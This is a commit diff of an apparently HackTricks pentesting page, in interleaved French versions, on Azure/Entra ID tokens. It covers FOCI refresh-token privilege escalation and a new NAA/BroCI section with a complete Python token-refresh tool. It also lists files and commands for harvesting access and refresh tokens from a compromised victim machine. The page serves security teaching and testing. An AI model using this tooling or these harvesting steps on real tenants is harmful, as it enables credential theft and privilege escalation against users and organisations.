Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-azur

This commit is contained in:
Translator
2026-03-01 20:12:40 +00:00
parent 53ecd1c633
commit b300ded4b1
3 changed files with 674 additions and 164 deletions
@@ -1,100 +1,100 @@
# Az - Jetons & Applications Publiques
# Az - Tokens & Public Applications
{{#include ../../../banners/hacktricks-training.md}}
## Informations de base
## Basic Information
Entra ID est la plateforme cloud d'identity and access management (IAM) de Microsoft, servant de système fondamental d'authentification et d'autorisation pour des services comme Microsoft 365 et Azure Resource Manager. Azure AD implémente le framework OAuth 2.0 et le protocole d'authentification OpenID Connect (OIDC) pour gérer l'accès aux ressources.
Entra ID est la plateforme cloud d'identity and access management (IAM) de Microsoft, servant de système fondamental d'authentification et d'autorisation pour des services comme Microsoft 365 et Azure Resource Manager. Azure AD implémente le framework OAuth 2.0 et le protocole OpenID Connect (OIDC) pour gérer l'accès aux ressources.
### OAuth
**Acteurs clés dans OAuth 2.0 :**
**Principaux participants dans OAuth 2.0 :**
1. **Resource Server (RS) :** Protège les ressources appartenant au resource owner.
2. **Resource Owner (RO) :** Généralement un utilisateur final qui possède les ressources protégées.
1. **Resource Server (RS) :** Protège les ressources détenues par le resource owner.
2. **Resource Owner (RO) :** Typiquement un utilisateur final qui possède les ressources protégées.
3. **Client Application (CA) :** Une application cherchant à accéder aux ressources au nom du resource owner.
4. **Authorization Server (AS) :** Délivre des access tokens aux client applications après les avoir authentifiés et autorisés.
**Scopes et Consentement :**
**Scopes et consentement :**
- **Scopes :** Permissions granulaires définies sur le resource server spécifiant les niveaux d'accès.
- **Scopes :** Permissions granulaires définies sur le resource server qui spécifient les niveaux d'accès.
- **Consentement :** Le processus par lequel un resource owner accorde à une client application la permission d'accéder aux ressources avec des scopes spécifiques.
**Intégration Microsoft 365 :**
- Microsoft 365 utilise Azure AD pour l'IAM et est composé de multiples applications OAuth "first-party".
- Ces applications sont profondément intégrées et ont souvent des relations de service interdépendantes.
- Ces applications sont profondément intégrées et ont souvent des relations de services interdépendantes.
- Pour simplifier l'expérience utilisateur et maintenir la fonctionnalité, Microsoft accorde un "implied consent" ou un "pre-consent" à ces applications first-party.
- **Consentement implicite :** Certaines applications se voient automatiquement **accorder l'accès à des scopes spécifiques sans approbation explicite de l'utilisateur ou de l'administrateur**.
- Ces scopes pré-consentis sont typiquement cachés aux utilisateurs et aux administrateurs, les rendant moins visibles dans les interfaces de gestion standard.
- **Implied Consent :** Certaines applications se voient automatiquement **accorder l'accès à des scopes spécifiques sans approbation explicite de l'utilisateur ou de l'administrateur**.
- Ces scopes pré-consentis sont généralement cachés aux utilisateurs comme aux administrateurs, les rendant moins visibles dans les interfaces de gestion standard.
**Types de Client Application :**
1. **Confidential Clients :**
- Possèdent leurs propres identifiants (par ex. mots de passe ou certificats).
- Possèdent leurs propres identifiants (ex. mots de passe ou certificats).
- Peuvent **s'authentifier de manière sécurisée** auprès de l'authorization server.
2. **Public Clients :**
- N'ont pas d'identifiants uniques.
- Ne peuvent pas s'authentifier de façon sécurisée auprès de l'authorization server.
- **Implication de sécurité :** Un attaquant peut usurper une public client application lors de la demande de tokens, puisqu'il n'existe pas de mécanisme permettant à l'authorization server de vérifier la légitimité de l'application.
- Ne peuvent pas s'authentifier de manière sécurisée auprès de l'authorization server.
- **Implication sécurité :** Un attaquant peut usurper une public client application lors de la demande de tokens, puisqu'il n'existe pas de mécanisme permettant à l'authorization server de vérifier la légitimité de l'application.
## Authentication Tokens
Il existe **trois types de tokens** utilisés en OIDC :
Il existe **trois types de tokens** utilisés dans OIDC :
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Le client présente ce token au resource server pour **accéder aux ressources**. Il ne peut être utilisé que pour une combinaison spécifique d'utilisateur, de client et de ressource et **ne peut pas être révoqué** avant son expiration — soit 1 heure par défaut.
- **ID Tokens** : Le client reçoit ce **token de l'authorization server**. Il contient des informations de base sur l'utilisateur. Il est **lié à une combinaison spécifique d'utilisateur et de client**.
- **Refresh Tokens** : Fourni au client avec l'access token. Utilisé pour **obtenir de nouveaux access et ID tokens**. Il est lié à une combinaison spécifique d'utilisateur et de client et peut être révoqué. L'expiration par défaut est de **90 jours** pour les refresh tokens inactifs et **pas d'expiration pour les tokens actifs** (il est possible d'obtenir de nouveaux refresh tokens à partir d'un refresh token).
- Un refresh token devrait être lié à un **`aud`**, à certains **scopes**, et à un **tenant** et il ne devrait être capable de générer que des access tokens pour cet aud, ces scopes (et pas plus) et ce tenant. Cependant, ce n'est pas le cas avec les **FOCI applications tokens**.
- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Le client présente ce token au resource server pour **accéder aux ressources**. Il ne peut être utilisé que pour une combinaison spécifique d'utilisateur, client et ressource et **ne peut pas être révoqué** avant son expiration — soit 1 heure par défaut.
- **ID Tokens** : Le client reçoit ce **token depuis l'authorization server**. Il contient des informations basiques sur l'utilisateur. Il est **liée à une combinaison spécifique d'utilisateur et de client**.
- **Refresh Tokens** : Fournis au client avec l'access token. Utilisés pour **obtenir de nouveaux access et ID tokens**. Ils sont liés à une combinaison spécifique d'utilisateur et de client et peuvent être révoqués. L'expiration par défaut est **90 jours** pour les refresh tokens inactifs et **pas d'expiration pour les tokens actifs** (à partir d'un refresh token il est possible d'obtenir de nouveaux refresh tokens).
- Un refresh token devrait être lié à un **`aud`**, à certains **scopes**, et à un **tenant** et il ne devrait être capable de générer des access tokens que pour cet aud, ces scopes (et pas plus) et ce tenant. Cependant, ce n'est pas le cas avec les **FOCI applications tokens**.
- Un refresh token est chiffré et seul Microsoft peut le déchiffrer.
- Obtenir un nouveau refresh token ne révoque pas le refresh token précédent.
> [!WARNING]
> Les informations pour le **conditional access** sont **stockées** à l'intérieur du **JWT**. Donc, si vous demandez le **token depuis une adresse IP autorisée**, cette **IP** sera **enregistrée** dans le token et ensuite vous pourrez utiliser ce token depuis une **IP non autorisée pour accéder aux ressources**.
> Les informations de **conditional access** sont **stockées** à l'intérieur du **JWT**. Donc, si vous demandez le **token depuis une IP autorisée**, cette **IP** sera **stockée** dans le token et ensuite vous pourrez utiliser ce token depuis une **IP non autorisée pour accéder aux ressources**.
### Access Tokens "aud"
Le champ indiqué dans la propriété "aud" est le **resource server** (l'application) utilisé pour effectuer la connexion.
Le champ indiqué dans le champ "aud" est le **resource server** (l'application) utilisé pour effectuer la connexion.
La commande `az account get-access-token --resource-type [...]` prend en charge les types suivants et chacun d'eux ajoutera un "aud" spécifique dans l'access token résultant :
La commande `az account get-access-token --resource-type [...]` supporte les types suivants et chacun d'eux ajoutera un "aud" spécifique dans l'access token résultant :
> [!CAUTION]
> Notez que ce qui suit représente seulement les API supportées par `az account get-access-token` mais il en existe d'autres.
> Notez que ce qui suit correspond juste aux APIs supportées par `az account get-access-token` mais il y en a plus.
<details>
<summary>Exemples d'aud</summary>
<summary>aud examples</summary>
- **aad-graph (Azure Active Directory Graph API)** : Utilisé pour accéder à l'Azure AD Graph API legacy (dépréciée), qui permet aux applications de lire et écrire des données d'annuaire dans Azure Active Directory (Azure AD).
- **aad-graph (Azure Active Directory Graph API)**: Utilisé pour accéder à l'API legacy Azure AD Graph API (dépréciée), qui permet aux applications de lire et écrire des données d'annuaire dans Azure Active Directory (Azure AD).
- `https://graph.windows.net/`
* **arm (Azure Resource Manager)** : Utilisé pour gérer les ressources Azure via l'API Azure Resource Manager. Cela inclut des opérations comme la création, la mise à jour et la suppression de ressources telles que des machines virtuelles, des comptes de stockage, et plus.
* **arm (Azure Resource Manager)**: Utilisé pour gérer les ressources Azure via l'Azure Resource Manager API. Cela inclut des opérations comme la création, la mise à jour et la suppression de ressources telles que machines virtuelles, comptes de stockage, et plus.
- `https://management.core.windows.net/ or https://management.azure.com/`
- **batch (Azure Batch Services)** : Utilisé pour accéder à Azure Batch, un service qui permet d'exécuter efficacement des applications de calcul parallèle à grande échelle et à haute performance dans le cloud.
- **batch (Azure Batch Services)**: Utilisé pour accéder à Azure Batch, un service qui permet d'exécuter efficacement des applications parallèles à grande échelle et de calcul haute performance dans le cloud.
- `https://batch.core.windows.net/`
* **data-lake (Azure Data Lake Storage)** : Utilisé pour interagir avec Azure Data Lake Storage Gen1, qui est un service évolutif de stockage de données et d'analytique.
* **data-lake (Azure Data Lake Storage)**: Utilisé pour interagir avec Azure Data Lake Storage Gen1, qui est un service de stockage de données évolutif pour l'analyse.
- `https://datalake.azure.net/`
- **media (Azure Media Services)** : Utilisé pour accéder à Azure Media Services, qui fournit des services cloud de traitement et de distribution média pour le contenu vidéo et audio.
- **media (Azure Media Services)**: Utilisé pour accéder à Azure Media Services, qui fournit des services cloud de traitement et de diffusion média pour le contenu vidéo et audio.
- `https://rest.media.azure.net`
* **ms-graph (Microsoft Graph API)** : Utilisé pour accéder à Microsoft Graph API, le point d'entrée unifié pour les données des services Microsoft 365. Il permet d'accéder aux données et insights de services comme Azure AD, Office 365, Enterprise Mobility et les services de sécurité.
* **ms-graph (Microsoft Graph API)**: Utilisé pour accéder à Microsoft Graph API, le point de terminaison unifié pour les données des services Microsoft 365. Il permet d'accéder aux données et insights de services comme Azure AD, Office 365, Enterprise Mobility et les services de sécurité.
- `https://graph.microsoft.com`
- **oss-rdbms (Azure Open Source Relational Databases)** : Utilisé pour accéder aux services de base de données Azure pour des moteurs relationnels open-source comme MySQL, PostgreSQL et MariaDB.
- **oss-rdbms (Azure Open Source Relational Databases)**: Utilisé pour accéder aux services de bases de données Azure pour des moteurs relationnels open-source comme MySQL, PostgreSQL, et MariaDB.
- `https://ossrdbms-aad.database.windows.net`
</details>
### Access Tokens Scopes "scp"
Le scope d'un access token est stocké dans la clé scp à l'intérieur du JWT de l'access token. Ces scopes définissent ce à quoi l'access token a accès.
Le scope d'un access token est stocké à l'intérieur de la clé scp dans le JWT de l'access token. Ces scopes définissent ce à quoi l'access token a accès.
Si un JWT est autorisé à contacter une API spécifique mais **n'a pas le scope** pour effectuer l'action demandée, il **ne pourra pas effectuer l'action** avec ce JWT.
Si un JWT est autorisé à contacter une API spécifique mais **n'a pas le scope** pour exécuter l'action demandée, il **ne pourra pas effectuer l'action** avec ce JWT.
### Get refresh & access token example
### Exemple d'obtention d'un refresh & access token
```python
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
@@ -144,31 +144,31 @@ scopes=["https://graph.microsoft.com/.default"],
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
### Autres champs d'access token
### Autres champs des access tokens
- **appid**: ID de l'application utilisée pour générer le token
- **appidacr**: The Application Authentication Context Class Reference indique comment le client a été authentifié ; pour un public client la valeur est 0, et si un client secret est utilisé la valeur est 1
- **acr**: The Authentication Context Class Reference claim est "0" lorsque l'authentification de l'utilisateur final n'a pas satisfait aux exigences de ISO/IEC 29115.
- **appid**: Application ID used to generate the token
- **appidacr**: The Application Authentication Context Class Reference indique comment le client a été authentifié ; pour un client public la valeur est 0, et si un client secret est utilisé la valeur est 1
- **acr**: La claim Authentication Context Class Reference vaut "0" lorsque l'authentification de l'utilisateur final n'a pas satisfait aux exigences de ISO/IEC 29115.
- **amr**: The Authentication method indique comment le token a été authentifié. Une valeur “pwd” indique qu'un mot de passe a été utilisé.
- **groups**: Indique les groupes dont le principal est membre.
- **iss**: L'iss identifie le security token service (STS) qui a généré le token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (le uuid est le tenant ID)
- **oid**: L'object ID du principal
- **iss**: L'iss identifie le security token service (STS) qui a généré le token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: The object ID of the principal
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at (moment où il a été émis), Not before (ne peut pas être utilisé avant ce moment, généralement même valeur que iat), Expiration time.
- **iat, nbf, exp**: Issued at (moment de l'émission), Not before (ne peut pas être utilisé avant ce moment, généralement même valeur que iat), Expiration time.
## FOCI Tokens Privilege Escalation
Précédemment, il a été mentionné que refresh tokens devraient être liés aux **scopes** avec lesquels ils ont été générés, à l'**application** et au **tenant** pour lesquels ils ont été générés. Si l'une de ces frontières est rompue, il est possible d'escalader les privilèges car il sera possible de générer des access tokens pour d'autres ressources et tenants auxquels l'utilisateur a accès et avec plus de scopes que prévu initialement.
Précédemment, il a été mentionné que les refresh tokens doivent être liés aux **scopes** avec lesquelles ils ont été générés, à l'**application** et au **tenant** auxquels ils ont été destinés. Si l'une de ces frontières est rompue, il est possible d'escalader les privilèges car il deviendra possible de générer des access tokens pour d'autres ressources et tenants auxquels l'utilisateur a accès, et avec plus de scopes que prévu initialement.
De plus, **this is possible with all refresh tokens** dans la [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) car, comme le mentionnent les [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) : "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
De plus, **c'est possible avec tous les refresh tokens** dans la [Microsoft identity platform] (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) parce que, comme le mentionnent les [**docs**] : "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
De plus, notez que les applications FOCI sont des public applications, donc **aucun secret n'est nécessaire** pour s'authentifier auprès du serveur.
Notez aussi que les FOCI applications sont des applications publiques, donc **aucun secret n'est nécessaire** pour s'authentifier auprès du serveur.
Les clients FOCI connus signalés dans la [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) peuvent être [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
Les clients FOCI connus rapportés dans la [**original research**] peuvent être [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
### Obtenir un scope différent
Suite à l'exemple de code précédent, dans ce code il est demandé un nouveau token pour un scope différent :
En poursuivant avec le code d'exemple précédent, dans ce code on demande un nouveau token pour un scope différent :
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
@@ -185,7 +185,7 @@ scopes=[
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
```
### Obtenir des clients et des scopes différents
### Obtenir un client différent et des portées
```python
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
@@ -201,30 +201,360 @@ scopes=["https://graph.microsoft.com/.default"],
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
```
## Où trouver des tokens
## NAA / BroCI (Nested App Authentication / Broker Client Injection)
Du point de vue d'un attaquant, il est très intéressant de savoir où il est possible de trouver access and refresh tokens, par exemple si le PC d'une victime est compromis :
Un BroCI refresh token est un modèle d'échange de tokens brokered où un refresh token existant est utilisé avec des paramètres supplémentaires du broker pour demander des tokens en tant qu'une autre application first-party de confiance.
Ces refresh tokens doivent être émis dans ce contexte broker (un refresh token "normal" ne peut généralement pas être utilisé comme BroCI refresh token).
### Objectif et utilité
L'objectif de BroCI est de réutiliser une session utilisateur valide provenant d'une chaîne d'apps capable de broker et de demander des tokens pour une autre paire app/resource de confiance. Cela permet donc de "escalate privileges" depuis le token d'origine.
D'un point de vue offensif, cela importe parce que :
- Cela peut débloquer des chemins d'app first-party pré-consentis qui ne sont pas accessibles avec des échanges refresh standard.
- Cela peut renvoyer des access tokens pour des API à haute valeur (par exemple, Microsoft Graph) sous des identités d'app ayant de larges permissions déléguées.
- Cela étend les opportunités de pivot post-authentification au-delà du classique switch de client FOCI.
Ce qui change dans un NAA/BroCI refresh token n'est pas le format visible du token, mais le **contexte d'émission** et les métadonnées liées au broker que Microsoft valide lors des opérations de refresh brokered.
Les échanges de token NAA/BroCI ne sont **pas** les mêmes qu'un échange de refresh OAuth classique.
- Un refresh token classique (par exemple obtenu via device code flow) est généralement valide pour les opérations standard `grant_type=refresh_token`.
- Une requête BroCI inclut un contexte broker additionnel (`brk_client_id`, broker `redirect_uri`, et `origin`).
- Microsoft valide si le refresh token présenté a été minté dans un contexte brokered correspondant.
- Par conséquent, beaucoup de refresh tokens "normaux" échouent dans les requêtes BroCI avec des erreurs telles que `AADSTS900054` ("Specified Broker Client ID does not match ID in provided grant").
- En général vous ne pouvez pas "convertir" un refresh token normal en un refresh token valide BroCI via du code.
- Vous avez besoin d'un refresh token déjà émis par un flux brokered compatible.
Consultez le site web **<https://entrascopes.com/>** pour trouver les apps configurées BroCI et les relations de confiance qu'elles ont.
### Modèle mental
Considérez BroCI comme :
`user session -> brokered refresh token issuance -> brokered refresh call (brk_client_id + redirect_uri + origin) -> access token for target trusted app/resource`
Si une partie de cette chaîne broker ne correspond pas, l'échange échoue.
### Où trouver un refresh token valide BroCI
Une façon pratique est la collecte du trafic du portail dans le navigateur :
1. Sign in to `https://entra.microsoft.com` (or Azure portal).
2. Open DevTools -> Network.
3. Filter for:
- `oauth2/v2.0/token`
- `management.core.windows.net`
4. Identify the brokered token response and copy `refresh_token`.
5. Use that refresh token with matching BroCI parameters (`brk_client_id`, `redirect_uri`, `origin`) when requesting tokens for target apps (for example ADIbizaUX / Microsoft_Azure_PIMCommon scenarios).
### Erreurs courantes
- `AADSTS900054`: The refresh token context does not match the supplied broker tuple (`brk_client_id` / `redirect_uri` / `origin`) or the token is not from a brokered portal flow.
- `AADSTS7000218`: The selected client flow expects a confidential credential (`client_secret`/assertion), often seen when trying device code with a non-public client.
<details>
<summary>Python BroCI refresh helper (broci_auth.py)</summary>
```python
#!/usr/bin/env python3
"""
Python implementation of EntraTokenAid Broci refresh flow.
Equivalent to Invoke-Refresh in EntraTokenAid.psm1 with support for:
- brk_client_id
- redirect_uri
- Origin header
Usage:
python3 broci_auth.py --refresh-token "<REFRESH_TOKEN>"
How to obtain a Broci-valid refresh token (authorized testing only):
1) Open https://entra.microsoft.com and sign in.
2) Open browser DevTools -> Network.
3) Filter requests for:
- "oauth2/v2.0/token"
- "management.core.windows.net"
4) Locate the portal broker token response and copy the "refresh_token" value
(the flow should be tied to https://management.core.windows.net//).
5) Use that token with this script and Broci params:
python3 broci_auth.py \
--refresh-token "<PORTAL_BROKER_REFRESH_TOKEN>" \
--client-id "74658136-14ec-4630-ad9b-26e160ff0fc6" \
--tenant "organizations" \
--api "graph.microsoft.com" \
--scope ".default offline_access" \
--brk-client-id "c44b4083-3bb0-49c1-b47d-974e53cbdf3c" \
--redirect-uri "brk-c44b4083-3bb0-49c1-b47d-974e53cbdf3c://entra.microsoft.com" \
--origin "https://entra.microsoft.com" \
--token-out
"""
import argparse
import base64
import datetime as dt
import json
import re
import sys
import urllib.error
import urllib.parse
import urllib.request
from typing import Any
GUID_RE = re.compile(
r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
)
OIDC_SCOPES = {"offline_access", "openid", "profile", "email"}
def resolve_api_scope_url(api: str, scope: str) -> str:
"""
Match Resolve-ApiScopeUrl behavior from the PowerShell module.
"""
if GUID_RE.match(api):
base_resource = api
elif api.lower().startswith("urn:") or "://" in api:
base_resource = api
else:
base_resource = f"https://{api}"
base_resource = base_resource.rstrip("/")
resolved: list[str] = []
for token in scope.split():
if not token.strip():
continue
if "://" in token:
resolved.append(token)
elif token.lower().startswith("urn:"):
resolved.append(token)
elif token in OIDC_SCOPES:
resolved.append(token)
elif GUID_RE.match(token):
resolved.append(f"{token}/.default")
else:
normalized = ".default" if token in {"default", ".default"} else token
resolved.append(f"{base_resource}/{normalized}")
return " ".join(resolved)
def parse_jwt_payload(jwt_token: str) -> dict[str, Any]:
parts = jwt_token.split(".")
if len(parts) != 3:
raise ValueError("Invalid JWT format.")
payload = parts[1]
padding = "=" * ((4 - len(payload) % 4) % 4)
decoded = base64.urlsafe_b64decode((payload + padding).encode("ascii"))
return json.loads(decoded.decode("utf-8"))
def refresh_broci_token(
refresh_token: str,
client_id: str,
scope: str,
api: str,
tenant: str,
user_agent: str,
origin: str | None,
brk_client_id: str | None,
redirect_uri: str | None,
disable_cae: bool,
) -> dict[str, Any]:
api_scope_url = resolve_api_scope_url(api=api, scope=scope)
headers = {
"User-Agent": user_agent,
"X-Client-Sku": "MSAL.Python",
"X-Client-Ver": "1.31.0",
"X-Client-Os": "win32",
"Content-Type": "application/x-www-form-urlencoded",
}
if origin:
headers["Origin"] = origin
body: dict[str, str] = {
"grant_type": "refresh_token",
"client_id": client_id,
"scope": api_scope_url,
"refresh_token": refresh_token,
}
if not disable_cae:
body["claims"] = '{"access_token": {"xms_cc": {"values": ["CP1"]}}}'
if brk_client_id:
body["brk_client_id"] = brk_client_id
if redirect_uri:
body["redirect_uri"] = redirect_uri
data = urllib.parse.urlencode(body).encode("utf-8")
token_url = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"
req = urllib.request.Request(token_url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req) as resp:
raw = resp.read().decode("utf-8")
except urllib.error.HTTPError as e:
err_raw = e.read().decode("utf-8", errors="replace")
try:
err_json = json.loads(err_raw)
short = err_json.get("error", "unknown_error")
desc = err_json.get("error_description", err_raw)
raise RuntimeError(f"{short}: {desc}") from None
except json.JSONDecodeError:
raise RuntimeError(f"HTTP {e.code}: {err_raw}") from None
tokens = json.loads(raw)
if "access_token" not in tokens:
raise RuntimeError("Token endpoint response did not include access_token.")
return tokens
def main() -> int:
parser = argparse.ArgumentParser(
description="Broci refresh flow in Python (EntraTokenAid Invoke-Refresh equivalent)."
)
parser.add_argument("--refresh-token", required=True, help="Refresh token (required).")
parser.add_argument(
"--client-id",
default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
help="Client ID (default: Azure CLI).",
)
parser.add_argument(
"--scope",
default=".default offline_access",
help="Scopes (default: '.default offline_access').",
)
parser.add_argument(
"--api", default="graph.microsoft.com", help="API resource (default: graph.microsoft.com)."
)
parser.add_argument("--tenant", default="common", help="Tenant (default: common).")
parser.add_argument(
"--user-agent",
default="python-requests/2.32.3",
help="User-Agent sent to token endpoint.",
)
parser.add_argument("--origin", default=None, help="Optional Origin header.")
parser.add_argument(
"--brk-client-id", default=None, help="Optional brk_client_id (Broci flow)."
)
parser.add_argument(
"--redirect-uri", default=None, help="Optional redirect_uri (Broci flow)."
)
parser.add_argument(
"--disable-cae",
action="store_true",
help="Disable CAE claims in token request.",
)
parser.add_argument(
"--token-out",
action="store_true",
help="Print access/refresh tokens in output.",
)
parser.add_argument(
"--disable-jwt-parsing",
action="store_true",
help="Do not parse JWT claims.",
)
args = parser.parse_args()
print("[*] Sending request to token endpoint")
try:
tokens = refresh_broci_token(
refresh_token=args.refresh_token,
client_id=args.client_id,
scope=args.scope,
api=args.api,
tenant=args.tenant,
user_agent=args.user_agent,
origin=args.origin,
brk_client_id=args.brk_client_id,
redirect_uri=args.redirect_uri,
disable_cae=args.disable_cae,
)
except Exception as e:
print(f"[!] Error: {e}", file=sys.stderr)
return 1
expires_in = int(tokens.get("expires_in", 0))
expiration_time = (dt.datetime.now() + dt.timedelta(seconds=expires_in)).isoformat(timespec="seconds")
tokens["expiration_time"] = expiration_time
print(
"[+] Got an access token and a refresh token"
if tokens.get("refresh_token")
else "[+] Got an access token (no refresh token requested)"
)
if not args.disable_jwt_parsing:
try:
jwt_payload = parse_jwt_payload(tokens["access_token"])
audience = jwt_payload.get("aud", "")
print(f"[i] Audience: {audience} / Expires at: {expiration_time}")
tokens["scp"] = jwt_payload.get("scp")
tokens["tenant"] = jwt_payload.get("tid")
tokens["user"] = jwt_payload.get("upn")
tokens["client_app"] = jwt_payload.get("app_displayname")
tokens["client_app_id"] = args.client_id
tokens["auth_methods"] = jwt_payload.get("amr")
tokens["ip"] = jwt_payload.get("ipaddr")
tokens["audience"] = audience
if isinstance(audience, str):
tokens["api"] = re.sub(r"/$", "", re.sub(r"^https?://", "", audience))
if "xms_cc" in jwt_payload:
tokens["xms_cc"] = jwt_payload.get("xms_cc")
except Exception as e:
print(f"[!] JWT parse error: {e}", file=sys.stderr)
return 1
else:
print(f"[i] Expires at: {expiration_time}")
if args.token_out:
print("\nAccess Token:")
print(tokens.get("access_token", ""))
if tokens.get("refresh_token"):
print("\nRefresh Token:")
print(tokens["refresh_token"])
print("\nToken object (JSON):")
print(json.dumps(tokens, indent=2))
return 0
if __name__ == "__main__":
raise SystemExit(main())
```
</details>
## Où trouver les tokens
D'un point de vue attaquant, il est très intéressant de savoir où il est possible de trouver des access et refresh tokens lorsque, par exemple, le PC d'une victime est compromis :
- Inside **`<HOME>/.Azure`**
- **`azureProfile.json`** contient des informations sur les logged in users du passé
- **`clouds.config contains`** des infos sur les subscriptions
- **`service_principal_entries.json`** contient les credentials des applications (tenant id, clients et secret). Only in Linux & macOS
- **`msal_token_cache.json`** contient des access tokens et refresh tokens. Only in Linux & macOS
- **`azureProfile.json`** contient des informations sur les utilisateurs qui se sont connectés auparavant
- **`clouds.config`** contient des informations sur les subscriptions
- **`service_principal_entries.json`** contient les credentials des applications (tenant id, clients and secret). Only in Linux & macOS
- **`msal_token_cache.json`** contient des access tokens et des refresh tokens. Only in Linux & macOS
- **`service_principal_entries.bin`** et msal_token_cache.bin sont utilisés sous Windows et sont chiffrés avec DPAPI
- **`msal_http_cache.bin`** est un cache de requêtes HTTP
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** contient des informations sur des previous logins utilisant Az PowerShell (mais sans credentials)
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** se trouvent plusieurs fichiers `.bin` avec **access tokens**, ID tokens et des informations de compte chiffrées avec le DPAPI de l'utilisateur.
- Il est possible de trouver plus d'**access tokens** dans les fichiers `.tbres` inside **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** qui contiennent un base64 chiffré avec DPAPI contenant des access tokens.
- Sur Linux et macOS, vous pouvez obtenir **access tokens, refresh tokens et id tokens** depuis Az PowerShell (si utilisé) en exécutant `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- Sous Windows ceci ne génère que des id tokens.
- Il est possible de voir si Az PowerShell a été utilisé sur Linux et macOS en vérifiant si `$HOME/.local/share/.IdentityService/` existe (même si les fichiers contenus sont vides et inutiles)
- Si l'utilisateur est connecté à Azure via le browser, selon ce [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) il est possible de démarrer le flux d'authentification avec un redirect to localhost, faire en sorte que le browser autorise automatiquement la connexion, et recevoir le refresh token. Notez qu'il n'y a que quelques applications FOCI qui permettent redirect to localhost (comme az cli ou le powershell module), donc ces applications doivent être autorisées.
- Une autre option expliquée dans le blog est d'utiliser l'outil [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) qui peut utiliser n'importe quelle application car il **obtiendra le OAuth code pour ensuite récupérer un refresh token depuis le title of the final auth page** en utilisant le redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
- **`AzureRmContext.json`** contient des informations sur les connexions précédentes utilisant Az PowerShell (mais pas de credentials)
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** se trouvent plusieurs fichiers `.bin` avec des **access tokens**, ID tokens et des informations de compte chiffrées avec le DPAPI de l'utilisateur.
- Il est possible de trouver d'autres **access tokens** dans les fichiers `.tbres` à l'intérieur de **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** qui contiennent un base64 chiffré avec DPAPI contenant des access tokens.
- Sous Linux et macOS, vous pouvez obtenir des **access tokens, refresh tokens et id tokens** depuis Az PowerShell (si utilisé) en lançant `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- Sous Windows cela génère seulement des id tokens.
- Il est possible de savoir si Az PowerShell a été utilisé sous Linux et macOS en vérifiant si `$HOME/.local/share/.IdentityService/` existe (bien que les fichiers contenus soient vides et inutiles)
- Si l'utilisateur est **logged inside Azure with the browser**, selon ce [**post**](https://www.infosecnoodle.com/p/obtaining-microsoft-entra-refresh?r=357m16&utm_campaign=post&utm_medium=web) il est possible de démarrer le flux d'authentification avec une **redirection vers localhost**, faire en sorte que le navigateur autorise automatiquement la connexion, et recevoir le refresh token. Notez qu'il n'y a que quelques applications FOCI qui permettent la redirection vers localhost (comme az cli ou le module powershell), donc ces applications doivent être autorisées.
- Une autre option expliquée dans le blog est d'utiliser l'outil [**BOF-entra-authcode-flow**](https://github.com/sudonoodle/BOF-entra-authcode-flow) qui peut utiliser n'importe quelle application car il **obtiendra le code OAuth puis récupérera un refresh token à partir du titre de la page d'auth finale** en utilisant la redirect URI `https://login.microsoftonline.com/common/oauth2/nativeclient`.
## References
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
- [https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/](https://specterops.io/blog/2025/10/15/naa-or-broci-let-me-explain/)
- [https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/](https://specterops.io/blog/2025/08/13/going-for-brokering-offensive-walkthrough-for-nested-app-authentication/)
